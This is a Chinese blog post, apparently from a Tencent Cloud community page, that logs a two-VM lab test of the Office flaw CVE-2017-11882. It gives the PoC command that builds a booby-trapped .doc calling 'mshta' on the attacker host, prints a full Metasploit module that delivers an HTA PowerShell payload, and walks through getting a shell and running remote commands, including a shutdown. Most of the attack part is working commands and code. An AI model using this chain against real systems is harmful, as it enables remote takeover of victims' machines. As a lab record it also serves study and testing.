Office隐藏17年的漏洞CVE_2017_11882测试记录

Office隐藏17年的漏洞CVE_2017_11882测试记录

创建时间:

2017/11/25 0:18

作者:

CN_Simo

标签:

Office漏洞

参考文章1:https://www.cnblogs.com/Oran9e/p/7880832.html

参考文章2:https://www.cnblogs.com/i-honey/p/7885573.html

POC地址:https://github.com/Ridter/CVE-2017-11882/

中间环节出现,msf连接数据库失败的情况,解决方法:https://www.cnblogs.com/justforfun12/p/5205804.html

1.制造条件

这里搭建两台虚拟机进行测试!

测试机配置信息:

操作系统

Win7_x64 企业版

Office版本

Office 2013

防火墙状态

开启

IP

192.168.1.103

系统语言

Chinese

操作系统

Kali 2.1 中文

IP

192.168.1.104

首先在kali下安装nginx,或者tomcat应该也是可以的,首先将生成的doc文件放在/usr/share/nginx/html目录下,方便被攻击的机器获取doc文件。

启动nginx服务:systemctl start nginx

使用Command43b_CVE-2017-11882.py生成doc文件

python Command43b_CVE-2017-11882.py -c "mshta http://192.168.1.104:8080/abc";; -o cev2.doc

# 将下载好的漏洞模块放在msf任意目录下

root@kali:/# mv cve_2017_11882.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

cve_2017_11882.rb的内容如下:

##

# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

class MetasploitModule  < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer

  def initialize(info  = {})

    super(update_info(info,

      'Name' => 'Microsoft Office Payload Delivery',

      'Description' => %q{

        This module generates an command to place within

        a word document, that when executed, will retrieve a HTA payload

        via HTTP from an web server. Currently have not figured out how

        to generate a doc.

      },

      'License' => MSF_LICENSE,

      'Arch' => ARCH_X86,

      'Platform' => 'win',

      'Targets' =>

        [

          ['Automatic', {} ],

        ],

      'DefaultTarget' => 0,

    ))

  end

  def on_request_uri(cli, _request)

    print_status("Delivering payload")

    p = regenerate_payload(cli)

    data = Msf::Util::EXE.to_executable_fmt(

      framework,

      ARCH_X86,

      'win',

      p.encoded,

      'hta-psh',

      { :arch => ARCH_X86, :platform => 'win '}

    )

    send_response(cli, data, 'Content-Type' => 'application/hta')

  end

  def primer

    url = get_uri

    print_status("Place the following DDE in an MS document:")

    print_line("mshta.exe \"#{url}\"")

  end

然后,这里在使用msfconsole之前,需要先打开数据库,例如 service postgresql start 

打开数据库之后,进入msfconsole,然后对msf进行初始化,执行msf init

之后search cve_2017_11882搜索漏洞模块,然后按照【参考文章2】进行配置,最后 exploit 之后启动对 8080 端口的监听,至于为什么是8080端口我也不太清楚啊!

2.万事俱备,只欠东风

这个时候,只需要在 win7 上通过浏览器的到 cve2.doc文档,打开之后,kali中命令行立刻显示已经获取到了连接,

session命令得到回话,session -i 【id】建立连接

shell命令可以得到cmd,执行net user查看用户

3.实验效果

通过这个漏洞,可以肆无忌惮的执行一些命令,例如关机,删除一些文件,收集一些系统信息还是非常有用的

在桌面新建文件夹

远程关机

虽然获取到了命令行,但是通过net user命令可以看到登录的用户级别是Guest,这就限制了一些需要权限较高的命令执行!

而且这里win7没有安装杀软,我不知道安装杀软之后word文档会不会被查杀呢?

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏数据和云

New in 12.2- 让每个PDB都拥有自己的 local undo表空间

12.1引入temp undo概念 ,12.2引入local undo,也就是每个pdb拥有自己的undo表空间(以前版本共用一个undo表空间),rac中每个...

3505
来自专栏云计算教程系列

如何在Ubuntu 16.04上使用Lynis执行安全审计

Lynis是一个基于主机的开源安全审计应用程序,可以评估Linux和其他类型UNIX操作系统的安全配置文件和状态。

1244
来自专栏Rgc

mongo官方企业版安装及数据库授权使用

1. Import the public key used by the package management system.(导入包管理系统所使用的公钥。)

561
来自专栏Seebug漏洞平台

如何通过TTL调试光猫

众所周知,光猫是现在每个家庭必备的一款设备,但是光猫背面写的账号密码,只是普通用户权限,会限制很多功能。这篇文章讲述,如何通过TTL调试的方法获取光猫超级管理员...

38810
来自专栏云计算

使用ACS和Kubernetes部署Red Hat JBoss Fuse

Red Hat JBoss Fuse十多年来一直是构建Java Web / RESTful服务的事实标准。但是,你该如何在当今以云为中心的世界中有效运行?如您所...

21710
来自专栏Objective-C

iOS-将自己的库支持CocoaPods

5774
来自专栏Netkiller

CentOS 6.4 + nginx-1.2.5 + php-5.4.15 + MySQL-5.5.31

CentOS 6.4 + nginx-1.2.5 + php-5.4.15 + MySQL-5.5.31 摘要 在工作中,需要经常为新系统安装软件,重复而简单,...

2936
来自专栏点点滴滴

KMS激活Windows与Office vol版

1022
来自专栏哎_小羊

部署 Kubernetes 集群日志插件 Fluentd、Elasticsearch、Kibana

目录 Kubernetes 日志架构介绍 环境、软件准备 启动 Fluentd 启动 Elasticsearch 启动 Kibana 浏览器添加证书 RBAC...

1.7K9
来自专栏Albert陈凯

Hadoop、Hbase、Hive版本兼容性

当我们想整合hadoop,hbase,hive,zookeeper的时候,如果刚入门,可能认为这是比较简单的问题。但是当你自己真正想整合的时候,却会遇到很多的问...

4647

扫码关注云+社区